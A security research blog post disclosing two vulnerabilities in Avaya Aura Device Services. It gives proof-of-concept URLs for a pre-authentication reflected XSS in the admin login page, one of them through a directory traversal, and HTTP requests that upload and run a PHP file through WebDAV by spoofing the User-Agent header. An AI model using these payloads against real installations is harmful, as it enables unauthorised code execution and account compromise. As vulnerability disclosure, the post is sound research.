For those who haven’t had the pleasure, Avaya Aura is a (rather complicated) platform for managing IP phones. Today we’re going to be looking at Avaya Aura Device Services (AADS) component of the platform and detailing two vulnerabilities we found during our research.
The first big hurdle with this type of research is getting the software up and running. To provide its phone management service AADS requires significantly more resources than can be provided by a 2020 MacBook Pro. Eventually some in our team managed to get it running in a cloud environment, however a majority of the analysis was still done offline. To perform the analysis we took the AADS installation binary and extracted as much of it as was possible on a vanilla Fedora VM. We couldn’t run anything, but the extracted files still gave us some insight into how the application would run when properly installed.
Looking at the install file, aads-8.0.0.0.268.bin
we discovered that it is a Makeself archive, a compressed TAR archive and installation script rolled into one file. Looking below we can see the start of the install script at the head of the file and then the beginning of the TAR archive that follows.
#!/bin/sh
# This script was generated using Makeself 2.4.0
# The license covering this archive and its contents, if any, is wholly independent of the Makeself license (GPL)
CRCsum="0000000000"
MD5="00000000000000000000000000000000"
SHA="a6c085cc707a633cc5d9fe717d50ffefcf5f77c04d48fd446f315f1644e8552d"
TMPROOT=${TMPDIR:=/tmp}
...
f test x"$keep" = xn; then
cd "$TMPROOT"
rm -rf "$tmpdir"
fi
eval $finish; exit $res
^_<8B>^H^@^C7]^B^CZ]<8C>^]U.ۓ<8D>w6<9B> <84>x7(<
Since the Makeself format is designed to be self-contained, we were able to just extract everything from the archive and avoid running the installation script by adding the --noexec
flag. This flag prevents the installation script from running. This is needed as the script will detect that we do not have enough resources to run the application, cleanup the extracted files and then exit.
[[email protected] opt]# TMPDIR=/opt/tmp ./aads-8.0.0.0.268.bin --noexec --target /opt
Creating directory /opt
Verifying archive integrity... 100% SHA256 checksums are OK. All good.
Uncompressing Installer for Avaya Aura Device Services Version 8.0.0.0.268 100%
Looking at what we found inside the archive, there were a lot of scripts and a lot of .rpm
packages.
[[email protected] opt]# ls
aads-8.0.0.0.268.bin debugging.sh spiritAgentrpm-7.1.2.0.5-28191-SDK-1.0.rpm
acsService-8.0.0.0-SNAPSHOT-noarch.rpm drs-client-rpm-7.1.3.0.3-29349-SDK-1.0.rpm symmetric-ds-3.4.9.zip
AvayaSMI-R017-01.0.521.0-20180410.105932-1.rpm getIfInfo.sh tmp
avCore-cas-common-3.4.0.50-SNAPSHOT.rpm installation.properties uninstall.sh
avCore-cassandra-3.11.3.rpm installLib.sh Util_CDR-7.1-01.noarch.rpm
avCore-postgres-9.3.5-20170526.131953-5-rpm.rpm keepalived-1.2.9-5.x86_64.rpm Util_FS-7.1-19.noarch.rpm
avCoreServices-8.0.0.0.268-1.noarch.rpm keycloak-6.0.1.tar.gz Util_IPT-7.1-02.noarch.rpm
avCore-tomcat-8.0.24_1-20170329.031513-2.rpm menuLib.sh Util_MyPhone-7.1-10.noarch.rpm
binary_EULA.txt net-snmp-5.7.3-2.smgr.el7.x86_64.rpm Util_OVF-7.1-131.noarch.rpm
buildConfig.sh nginx-fips-1.10.3-1.el7.avCore.x86_64-20190531.074949-2.rpm Util_PFM_Daemon-1.0-245.noarch.rpm
checkAMM.sh normalize-ipv6-addr.py Util_Post-7.1-36.noarch.rpm
checkFront.sh removeVersion.sh Util_Prep-7.1-82.noarch.rpm
checkLib.sh setupAMM.sh Util_Push-7.1-01.noarch.rpm
checkUtils.sh silentInstall.sh Util_SMI-7.1-19.noarch.rpm
We slowly started force installing the .rpm
packages, adding in missing dependencies as best we could.
[[email protected] opt]# rpm -ivh --force AvayaSMI-R017-01.0.521.0-20180410.105932-1.rpm
Verifying... ################################# [100%]
Preparing... ################################# [100%]
Updating / installing...
1:AvayaSMI-R017-01.0.521.0 ################################# [100%]
Warning: PHP Startup: ^(text/|application/xhtml+xml) (offset=0): unrecognised compile-time option bit(s) in Unknown on line 0
Warning: preg_grep(): Compilation failed: unrecognised compile-time option bit(s) at offset 0 in /opt/avaya/smi/bin/initWebProfiles on line 3467
Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, bool given in /opt/avaya/smi/bin/initWebProfiles:3471
Stack trace:
#0 /opt/avaya/smi/bin/initWebProfiles(3664): getDiskRoot()
#1 {main}
thrown in /opt/avaya/smi/bin/initWebProfiles on line 3471
/var/tmp/rpm-tmp.kSywlN: line 50: /sbin/service: No such file or directory
warning: %post(AvayaSMI-R017-01.0.521.0.x86_64) scriptlet failed, exit status 127
After all this was done we had a filesystem that somewhat resembled an AADS install and started poking around to see what we could find. Most of the bigger components had installed themselves under /opt/Avaya/AADS/8.0.0.0.268/applications
.
[[email protected] applications]# pwd
/opt/Avaya/AADS/8.0.0.0.268/applications
[[email protected] applications]# ls -lah
total 152M
drwxr-xr-x. 7 root root 4.0K Jan 9 09:05 .
drwxr-xr-x. 6 root root 70 Jan 9 09:05 ..
-rwxr-x---. 1 root root 60M Jul 23 2019 acs.war
-rwxr-x---. 1 root root 2.2K Jul 23 2019 addDatasource.sh
-rwxr-x---. 1 root root 43M Jul 23 2019 admin.war
-rwxr-x---. 1 root root 6.5K Jul 23 2019 applicationsInstall.sh
-rwxr-x---. 1 root root 2.3K Jul 23 2019 applicationsPatch.sh
drwxr-x---. 2 root root 4.0K Jan 9 09:05 config
drwxr-x---. 2 root root 57 Jan 9 09:05 configuration
-rwxr-x---. 1 root root 31M Jul 23 2019 corsconfig.war
drwxr-x---. 2 root root 4.0K Jan 9 09:05 drs
-rwxr-x---. 1 root root 4.8K Jul 23 2019 dynamicconfigurations-patch.sh
drwxr-xr-x. 3 root root 17 Jan 9 09:05 modules
drwxr-x---. 2 root root 149 Jan 9 09:05 nginx
-rwxr-x---. 1 root root 3.9K Jul 23 2019 nginxportImpl-patch.sh
-rwxr-x---. 1 root root 20M Jul 23 2019 trustedhosts.war
-rwxr-x---. 1 root root 3.3K Jul 23 2019 upgrade.sh
-rwxr-x---. 1 root root 2.4K Jul 23 2019 webdeployment-patch.sh
We took the available .jar
and .war
files we found and decompiled them. We then started combing through the source code for common errors. One such low-hanging fruit was checking all the .jsp
files for <%=
which would output whatever expression that follows to HTML without any sanitisation. Not only did we find one that was easily controllable, it was also pre-authentication.
In /opt/Avaya/AADS/8.0.0.0.268/applications/admin.war
under public/login.jsp
we found the following snippet.
Tracing messageLabelVar
back to the top of the file we found that it was taken straight from the query parameters with no validation.
<%
String messageLabelColour = "rgb(51, 51, 51)";
String messageLabelVar = "Please Sign in";
String errorMsg = request.getParameter("error");
if ( errorMsg != null ) {
messageLabelVar = request.getParameter("error");
messageLabelColour = "rgb(255, 0, 0)";
}
%>
An almost introductory example of cross-site scripting in Java, we were able to put together the following payload and achieve reflected XSS with no authentication required.
https://aads.example.com/admin/public/login.jsp?error=%3Cscript%3Ealert(1)%3C/script%3e
On some installations of Avaya Device Services, this XSS vulnerability was only accessible by performing a directory traversal attack that exposes the administration panel. For example:
https://aads.example.com/acs/..;/admin/public/login.jsp?error=%3Cscript%3Ealert(1)%3C/script%3e
After exhausting a lot of the Java, we turned our attention to any configuration files that were installed. Mostly this was to try and determine how each of these Java applications were intended to be accessed and from where. Luckily for us we found much more than we expected. Inside /etc/httpd/conf.d/ssl.conf
, we were greeted by the following configuration snippet.
# Special configuration for Utility Server
# DocumentRoot "/var/www/html/https"
#
# WebDAV module configuration section.
Alias '/PhoneBackup/' "/var/www/https/PhoneBackup/"
Options FollowSymLinks
# Only allow SSL connections
SSLRequireSSL
AllowOverride None
Require env Avaya_Phone
...
# Location of the WebDAV lock database.
DAVLockDB /var/lib/dav/lockdb
Dav On
Surprised at seeing WebDAV in 2022, we searched for the location where the Avaya_Phone
environment variable was set as this was the only security control preventing us from accessing the WebDAV endpoint. Fortunately this was rather easy, we found it set in /etc/httpd/conf/httpd.conf
.
# wi00304553 - The folowing should ONLY allow Avaya IP Phones to access
# the PhoneBackup directories.
SetEnvIf User-Agent "AVAYA" Avaya_Phone
Could it really be that easy? All we had to do was set our User-Agent
header to AVAYA
and we could upload a .php
file.
PUT /PhoneBackup/x.php HTTP/1.1
Host: 127.0.0.1
User-Agent: AVAYA
Connection: close
Content-Length: 20
And, since there was nothing preventing PHP execution in the /PhoneBackup
directory, executing the file was just as easy.
GET /PhoneBackup/x.php HTTP/1.1
Host: 127.0.0.1
User-Agent: AVAYA
Connection: close
Giving us this response.
uid=48(apache) gid=48(apache) groups=48(apache),4000(ucgrp),10021(trusted_aads_grp) context=system_u:system_r:httpd_t:s0
So what did we learn? As usual a good portion of security research is just getting the software to run. But once we’re over that hurdle, there’s still plenty of low-hanging fruit. Even if it is a little outdated, knowing about WebDAV and other bygone technologies is always a useful tool to have in your belt.
When reporting these vulnerabilities to Avaya, we were told that they were fixed in a previous release of the software, however no CVE’s were claimed for these issues. If you would like to remediate these vulnerabilities, please refer to ACS-21519 Address PSST Reported RCE vulnerability on Utility Services in the Release Notes 8.1.4.1. This can be found here.
As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.